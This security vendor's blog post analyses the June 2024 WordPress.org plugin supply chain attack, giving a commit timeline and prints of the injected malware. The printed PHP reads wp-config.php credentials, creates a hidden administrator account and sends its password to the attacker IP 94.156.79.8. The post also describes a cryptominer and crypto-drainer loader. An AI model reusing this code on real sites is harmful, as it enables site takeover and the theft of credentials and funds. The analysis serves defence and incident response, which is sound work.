Lucene search

K
wordfenceMarco WotschkaWORDFENCE:6B8534F0B50862F971778EF0D0B8C9D7
HistoryJun 27, 2024 - 7:38 p.m.

An Inside Look at The Malware and Techniques Used in the WordPress.org Supply Chain Attack

2024-06-2719:38:12
Marco Wotschka
www.wordfence.com
5
wordpress.org
supply chain attack
malware
password reuse
threat intelligence
data breaches
vulnerable versions
plugin security

7.8 High

AI Score

Confidence

High

On Monday June 24th, 2024 the Wordfence Threat Intelligence team was made aware of the presence of malware in the Social Warfare repository plugin (see post Supply Chain Attack on WordPress.org Plugins Leads to 5 Maliciously Compromised WordPress Plugins). After adding the malicious code to our Threat Intelligence Database and examining it, we quickly discovered that several other plugins were also affected. The affected plugins and versions at that time were listed in our initial blog post alerting users to the incident.

In case you missed the previous post, Developer Accounts Compromised Due to Credential Reuse in WordPress.org Supply Chain Attack, it was determined that the incident occurred due to developers reusing passwords compromised in external data breaches.

The uncovered malware, that created administrator users with the usernames PluginAUTH, PluginGuest, and Options, was added to our Threat Intelligence Database on June 24, 2024, and series of malware signatures were written for detection. Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received these malware signatures immediately on June 25th. Wordfence free users, and Wordfence CLI free users, will receive these signatures after a 30 day delay on July 25th, 2024. All Wordfence users will be notified by the Wordfence plugin and Wordfence CLI if they are running a vulnerable version of one of the plugins, and they should update the plugins immediately where available.

In today’s blog post we will provide a timeline of events and dissect the malware in more detail. For that, we will look at the following five affected plugins, the code commits and what they accomplish in more detail. As a reminder, the following are the affected plugins and their versions:

  • Social Warfare
    • Vulnerable versions: 4.4.6.4 to 4.4.7.1
    • Patched version: 4.4.7.2 (malicious code has been removed)
    • Fully patched version: 4.4.7.3 (code to invalidate admin passwords was added)
  • Blaze Widget
    • Vulnerable versions: 2.2.5-2.5.2
    • Patched version: 2.5.3 (malicious code has been removed)
    • Fully patched version: 2.5.4 (code to invalidate admin passwords was added)
  • Wrapper Link Element
    • Vulnerable versions: 1.0.2-1.0.3
    • Patched version: 1.0.4 (malicious code has been removed)
    • Fully patched version: 1.0.5 (code to invalidate admin passwords was added)
  • Contact Form 7 Multi-Step Addon
    • Vulnerable versions: 1.0.4-1.0.5
    • Patched version: 1.0.6 (malicious code has been removed)
    • Fully patched version: 1.0.7 (code to invalidate admin passwords was added)
  • Simply Show Hooks
    • Vulnerable version: 1.2.2
    • Patched version: 1.2.1 (the changes in the trunk were reverted)

Blaze Widget Recon and First Code Modifications

We will begin with the Blaze Widget plugin which saw the largest amount of activity in terms of code commits and was also the first one to be modified by the malicious threat actor(s). On March 16, 2024 a small commit added an empty file named n.txt to the plugin. The commit was accompanied by a commit message (“Recon”) which we believe indicates that reconnaissance work was performed - likely to test whether the malicious actor(s) were able to successfully commit to the repository at all.

Blaze Widget Recon commit message

Blaze Widget Recon commit message

On June 21, 2024 at 04:19:01 PM the blaze_widget.php file was modified in order to include the following malicious code:

custom_notify_plugin_update function

custom_notify_plugin_update function

The code adds an action to the [upgrader_process_complete](<https://developer.wordpress.org/reference/hooks/upgrader_process_complete/>) hook provided by WordPress. As the name implies, the hook fires when a plugin update is completed. The code is intended to report back to the IP address 94.156.79.8, which is located in Bulgaria and owned by the threat actor(s). Several changes to the readme increased the version number before the added hook was modified on June 21, 2024 at 04:49:02 PM:

renamed hook

Addition of an admin_init hook

Changing the hook from upgrader_process_complete to admin_init is more useful since the [admin_init hook](<https://developer.wordpress.org/reference/hooks/admin_init/>) is fired whenever an admin screen or script is initialized. AJAX requests as well as requests to [admin_post](<https://developer.wordpress.org/reference/files/wp-admin/admin-post.php/>) fall into that category. These may not require authorization and as a result can be easily invoked. Subsequent code changes ensured that the added function no longer required any arguments to be passed to it and removed the use of the $upgrader_object and $options variables entirely. Since it can be expected that user logins or other requests to wp-admin will be made on any site, an infected site will report back to the IP 94.156.79.8 and should add itself to the attacker’s database.

The presence of multiple code commits - often just in order to change the version number - indicates that the threat actor(s) might not have a great deal of experience. Additionally, the presence of non-functional and/or poorly refactored code along with lack of code reuse suggest the use of AI to generate the code bits. These first few commits appear to be the attacker testing out the upgrade functionality to verify it would work, and send data back to their server.

Further Steps and Persistence

On June 22, 2024 at 02:20:44 AM further malicious code changes were committed to the plugin. In this larger commit, the hackers added several helper functions. A parse_wp_config function was added in order to read a WordPress config file and extract the database name, user, password and host along with the DB prefix.

function parse_wp_config($config_file) {
    if (file_exists($config_file)) {
        $config_content = file_get_contents($config_file);
        $matches = [];
        // Extract prefix
        if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) {
            $prefix = $matches[1];
        } else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) {
            $prefix = $matches[1];
        } else {
            die("Prefix not found in wp-config.php");
        }
        // Extract database name
        if (preg_match("/define\(\s*'DB_NAME'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
            $database = $matches[1];
        }
        // Extract username
        if (preg_match("/define\(\s*'DB_USER'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
            $username = $matches[1];
        }
        // Extract password
        if (preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
            $password = $matches[1];
        }
        // Extract host
        if (preg_match("/define\(\s*'DB_HOST'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
            $host = $matches[1];
        } else {
            $host = 'localhost'; // Assuming local host if not specified
        }
        return array(
            'prefix' => $prefix,
            'database' => $database,
            'username' => $username,
            'password' => $password,
            'host' => $host
        );
        } else {
            die("wp-config.php file not found");
        }
    }
}

It should be noted that a simple include() of the wp-config.php file would have made these variables readily available in the malicious code. However, the threat actor(s) opted for a less skilled approach, again hinting towards their lack of experience and stealth.

Several utility functions that check database credentials, create random passwords and perform other smaller tasks were also added in this commit.

The code below utilizes SQL queries to add an administrator user for persistent access. In this particular case it uses the username PluginAUTH. At the time of this writing we are aware of the user names PluginAUTH, PluginGuest and Options having been used. They are hardcoded. What makes this code the most interesting is that instead of stealthily using native WordPress core functionality to perform all of these actions, the threat actor(s) opted to fetch the configuration data and then issue SQL queries to perform all of the actions.

function add_admin_user($mysqli, $config, $password) {
    global $generated_password; // Access the global generated password variable
    global $wpuserscount; // Declare the global variable to update user count
    $username = 'PluginAUTH';

    //$generated_password = $password;
    //$password = $generated_password;
    $user_role = 'administrator';

    // First, let's update the global user count
    $countQuery = "SELECT COUNT(*) AS user_count FROM {$config['prefix']}users";
    $countResult = $mysqli->query($countQuery);
    if ($countResult) {
        $row = $countResult->fetch_assoc();
        $wpuserscount = $row['user_count']; // Update the global variable with the user count
    } else {
        //echo "Error fetching user count: " . $mysqli->error . "\n";
        return; // Early return in case of query error
    }
    // Hash the password
    $hashed_password = password_hash($password, PASSWORD_DEFAULT);

    // Check if the user already exists
    $query = "SELECT ID FROM {$config['prefix']}users WHERE user_login = '{$username}'";
    $result = $mysqli->query($query);

    if ($result && $result->num_rows > 0) {
        //echo "User '{$username}' already exists.\n";
        $z = "b";
    } else {
        // Insert the new user
        $query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())";
        $result = $mysqli->query($query);

        if ($result) {
            $user_id = $mysqli->insert_id;

            // Set user role
            $query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";
            $result = $mysqli->query($query);

            if ($result) {
                //echo "User '{$username}' with administrative privileges added successfully.\n";
                $zb = '';
            } else {
                //echo "Error assigning role to user '{$username}'.\n";
                $zb = '';
            }
        } else {
            //echo "Error creating user '{$username}': " . $mysqli->error . "\n";
            $zb = '';
        }
    }
}

The function pachamama is used as one of the main heavy lifters by the malware. It contains code to parse the configuration file of the WordPress installation and performs a connection check. An admin user is created with a randomized password. Note how the function previously used to generate a random password was not reused, but instead its code is simply pasted into this function. The malware obtains the site URL from the database, assembles a path to the login page and then proceeds to initiate a curl session. Using this session, it sends the login URL, domain, username, and password to the IP 94.156.79.8, which is the attacker's controlled server.

function pachamama($path) {
    global $currdomain;
    if (strpos($path, 'wp-config.php') !== false) {
        $path = str_replace('wp-config.php', '', $path);
    }

    $current_directory = $path;
    $wp_config_file = check_wp_config($current_directory);
    if ($wp_config_file) {
        //echo "WP-CONFIG [FOUND]\n";

        $config = parse_wp_config($wp_config_file);
        $mysqli = access_database($config);
        if ($mysqli) {
            $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';
            $password = '';
            $characters_length = strlen($characters);
            for ($i = 0; $i < 13; $i++) {
                $password .= $characters[rand(0, $characters_length - 1)];
            }
            add_admin_user($mysqli, $config, $password);
            $domain = get_domain_from_database($mysqli, $config);
            if ($domain) {
                //echo "[$domain] OK\n";
                $currdomain = $domain;

                // Reconstruct the correct wp-login.php path
                $wp_login_path = "https://{$domain}/wp-login.php";

                // Perform a POST request to https://94.156.79.8/AddSites
                $url = 'https://94.156.79.8/AddSites';
                $aurl = get_admin_url();
                $post_data = array(
                    'aurl' => $aurl,
                    'domain' => $domain,
                    'username' => 'PluginAUTH',
                    'passwordz' => $password, // Access the global generated password variable
                    'wp_login_path' => $wp_login_path
                );

                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data)); // Send JSON data
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                    'Content-Type: application/json', // Set content type to JSON
                    'Content-Length: ' . strlen(json_encode($post_data)) // Set content length
                ));
                $response = curl_exec($ch);
                $error = curl_error($ch); // Get any curl error
                curl_close($ch);

                if ($response === false) {
                    //echo "POST request failed: $error\n";
                    $z = false;
                } else {
                    //echo "POST request sent successfully. Response: $response\n";
                    $z = true;
                }
            } else {
                //echo "Domain retrieval failed.\n";
                $z = false;
            }
            $mysqli->close();
        }
    } else {
        //echo "WP-CONFIG [NOT FOUND]\n";
        $z = false;
    }
}

While some of the functionality targets WordPress in particular, the malware also provides code to look for other content management systems. The check_cms_configuration_files function recursively traverses up and adds all php files it finds to an array, which is later cross-referenced with another array containing typical configuration files of content management systems such as Magento and WordPress as well as some other ecommerce or shop solutions such as OpenCart, PrestaShop and Drupal Commerce. Once the malware has successfully determined which CMS is used by a host, it sends this information back home. Included in this is a list of CMSes found as well as a user count. While the code that obtains the user count for WordPress installations appears to be properly implemented, the functions provided to count users in various CMSes are not actually complete and return zero. We believe this code is looking for other sites hosted in the same account and then sending that data back to the attacker-controlled server for further infection.

function check_cms_configuration_files() {
    global $wpuserscount;
    global $wp_config_paths;
    global $wc_config_paths;
    global $mg_config_paths;
    // Function to recursively search directories for configuration files
    //function search_for_config_files($directory, &$cms_config_files, $max_parents = 4) {
    function search_for_config_files(&$cms_config_files, $max_parents = 3) {
        // Get the current directory
        $directory = __DIR__;

        // Initialize the variable to keep track of the last readable path
        $last_readable_path = null;

        // Iterate to go one parent folder up until no read permission or max 5 parents
        for ($i = 0; $i < $max_parents; $i++) {
            // Check if the directory exists and is readable
            if (is_dir($directory) && is_readable($directory)) {
                $last_readable_path = $directory;
            } else {
                // Stop iteration if the directory is not readable
                break;
            }

            // Move one directory up
            $directory = dirname($directory);
        }

        // If a readable path was found, perform a recursive glob search for the specified file extensions
        if (!empty($last_readable_path)) {

            $config_files = [];
            $files = [];
            //$pattern = '/home/98752.cloudwaysapps.com/trnkgjmvur';
            try {
                $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($last_readable_path), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
                foreach($objects as $name => $object){
                    if (substr($name, -4) === '.php') {
                        // Add only files ending with '.php' to the $files array
                        //echo "$name\n";
                        $files[] = $name;
                    }
                }
            } catch (Exception $e) {
                // Handle any exceptions that occur during iteration
                // You can log the error or take appropriate action here
                //echo "Error: " . $e->getMessage();
                $d = 'sab';
            }
            foreach ($files as $file) {
                // Add the found file to the list of config files
                //print($file);
                $cms_config_files[] = $file;
            }
            return $cms_config_files;
        } else {
            // Return an empty array if no readable path was found
            //echo("No Readable Paths");
            return [];
        }
    }


    // Array to store detected CMS names
    $detected_cms = [
        'WordPress' => false,
        'WooCommerce' => false,
        'Magento' => false,
        'OpenCart' => false,
        'PrestaShop' => false,
        'Drupal Commerce' => false,
        'Symfony' => false,
        'Laravel' => false,
        'Zend Framework' => false
    ];
}

Cleanup and Code Fixes

The plugin underwent several updates on June 21, 2024. The attackers added checks to the custom_notify_plugin_update function to ensure that the reporting feature only reports back to 94.156.79.8 when it hasn’t done so previously - likely in an attempt to cut down on noise and traffic. Additionally, debugging output is commented out, and changeset 3105880 adds a hardcoded password, which is subsequently removed again.

Code Removal and the Addition of a Footer Script

In changeset 3105999 the malicious actor(s) removed the added malicious code entirely and replaced it with an obfuscated footer script instead.

Encoded footer script content

Encoded footer script content

The script is encoded using unicode characters, but can easily be decoded.

Decoded script

In this malicious script, another script (sc-top.js) is pulled from 94.156.79.8 - the same IP address as before. A random password generator is also provided. Additionally, we have the sendPostRequest function, which reports to hxxps://hostpdf[.]co/pinche.php - a domain previously associated with the Angel Drainer Crypto Malware - which is also hosted at the IP address 94.156.79.8.

While it's not entirely clear why the attacker may have completely swapped out their old code for new code, it could be that they wanted to gain an initial foothold and persistence with the admin account creation and then inject malware to generate revenue.

Cryptomining Malware

The script sc-top.js pictured below proceeds to create a small iframe in which the mi script, obtained from the same server, is placed. This ultimately is a monero cryptominer. Additionally, another embedded script is added, this time with the name 3_3f8676b754795a380.js.

3_3f8676b754795a380.js

The file 3_3f8676b754795a380.js pulled in on line 26 is, in fact, a crypto drainer, a type of malware that relies on tricking victims into unknowingly authorizing crypto transactions - usually via phishing. Financial damage can be substantial.

Further Actions and Commits

On June 22, 2024 at 12:47:42 PM, a mere 14 minutes after adding this JavaScript code, it was removed again from the file blaze_widget.php, only to be added back in base64 encoded form on June 24, 2024 at 02:03:58 AM. Several iterations of the script are committed - presumably in an attempt to finetune its operation.

Functionality is added in subsequent versions that is intended to ensure the malicious encoded script is appended to every php file in the plugins directory. Interestingly, the malware does appear to contain code that ensures the php file validates after the injection. If it does not, it is restored. The backup feature is later removed again. All of this implies that the threat actor(s) was/were not sophisticated and used a sandbox site to test this feature until it was working to their satisfaction.

Cleanup and Malware Removal

After we notified the WordPress Plugins Team on their Slack channel and via email, user frantorres reacted quickly and removed the malicious code from this plugin on June 24, 2024 at 04:34:22 PM. Shortly thereafter another release was prepared that added an incident response notice to the affected plugin explaining that an administrative user might have been created and that their password may have been sent to a third party.

Incident Response Notice

Since we know that usernames were hardcoded, we recommend checking for administrators named PluginAUTH, PluginGuest, and Options although the above code should have invalidated the passwords of such users immediately after the plugin was updated. Users of this plugin are urged to update to version 2.5.4. Also, we would like to commend the WordPress.org plugins team for there swift action to prevent any further damage.

Social Warfare

The Social Warfare plugin was the first to be closed following a notification by Andrew Wilder in the #pluginreview channel on WordPress Slack.

Andrew Wilder notifying the Plugins Team

The WordPress Plugins Team issued a statement detailing that the plugin was updated to version 4.4.7.3 and users should update immediately.

Code commits for Social Warfare began on June 22, 2024 at 04:15:22 AM and contained the bulk of the malicious PHP code discussed above while the cryptomining JavaScript code was added in the afternoon at 01:28:34 PM.

The WordPress Plugins Team reverted those changes on June 23, 2024 at 04:55:29 PM and at 06:30:27 PM committed a version that contains code which changes the passwords of malicious users identical to the fix applied to the Blaze Widget. Version 4.4.7.3 is safe to install, and users should update to this version immediately.

Wrapper Link Elementor

The first modification to this plugin was made on June 24, 2024 at 02:42:32 AM when both the malicious PHP code and JavaScript code discussed above were added. The code was removed shortly thereafter. It is not obvious whether the removal was performed by the malicious actor(s) or the plugin owner since the readme update contained textual changes not present in the malicious code added to the other plugins.

The WordPress Plugins Team intervened at 03:58:06 PM and rolled back to previous code while tagging a new release. The same incident response notice was added along with code that invalidates the password hashes of the administrator accounts that may have been added. Version 1.0.5 is safe to install. If you are a user of this plugin, we urge you to update.

Contact Form 7 Multi Step Addon

The malicious code was added on June 24, 2024 at 02:47:37 AM. This includes the PHP and JavaScript code. At 04:09:13 PM the WordPress Plugins Team removed the malicious code in version 1.0.6 and issued version 1.0.7 at 04:25:55 PM, which contains the admin password reset code. Please update to version 1.0.7 if you use this plugin.

Simply Show Hooks

Modifications occurred on June 22, 2024 at 03:55:53 AM when the malicious PHP was injected. Some of it was deleted at 04:05:29 AM - removing the reporting to the attacker-controlled IP address. A full removal occurred on June 24, 2024 at 03:44:39 PM, when the WordPress Plugins Team removed the offending code. At the time of this writing it appears that the team has not issued an update that invalidates administrator passwords. Users should ensure they are on version 1.2.1.

Important IPs and domains

  • hxxps://hostpdf[.]co - This domain has been associated with the Angel Drainer Crypto Malware
  • 94.156.79.8 - Malicious IP address controlled by the threat actor(s), which is used to host malicious JavaScript and as an information gathering server.

Suspicious Admin usernames

The usernames PluginAUTH, PluginGuest, and Options were used for administrative users created by these plugins. Check for their presence and remove them if they are not legitimate.

Conclusion

In today’s blog post, we went into further details on the malware added to five repository plugins during a recent supply chain attack, along with the timeline of events. Users of the affected plugins, Blaze Widget, Wrapper Link Elementor, Social Warfare, Contact Form 7 Multi Step Addon, and Simply Show Hooks should update to the latest versions in order to ensure the safety of their site. The interesting series of events that unfolded through the commits of the various plugins leads us to believe that the attacker wasn’t very sophisticated, or likely didn’t have much knowledge about how the WordPress SVN works.

Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received malware signatures to detect these infected plugins immediately on June 25th, 2024. Wordfence free users, and Wordfence CLI free users, will receive these signatures after a 30 day delay on July 25th, 2024. All Wordfence users will be notified by the Wordfence plugin and Wordfence CLI if they are running a vulnerable version of one of the plugins, and they should update the plugins immediately where available.

The post An Inside Look at The Malware and Techniques Used in the WordPress.org Supply Chain Attack appeared first on Wordfence.

7.8 High

AI Score

Confidence

High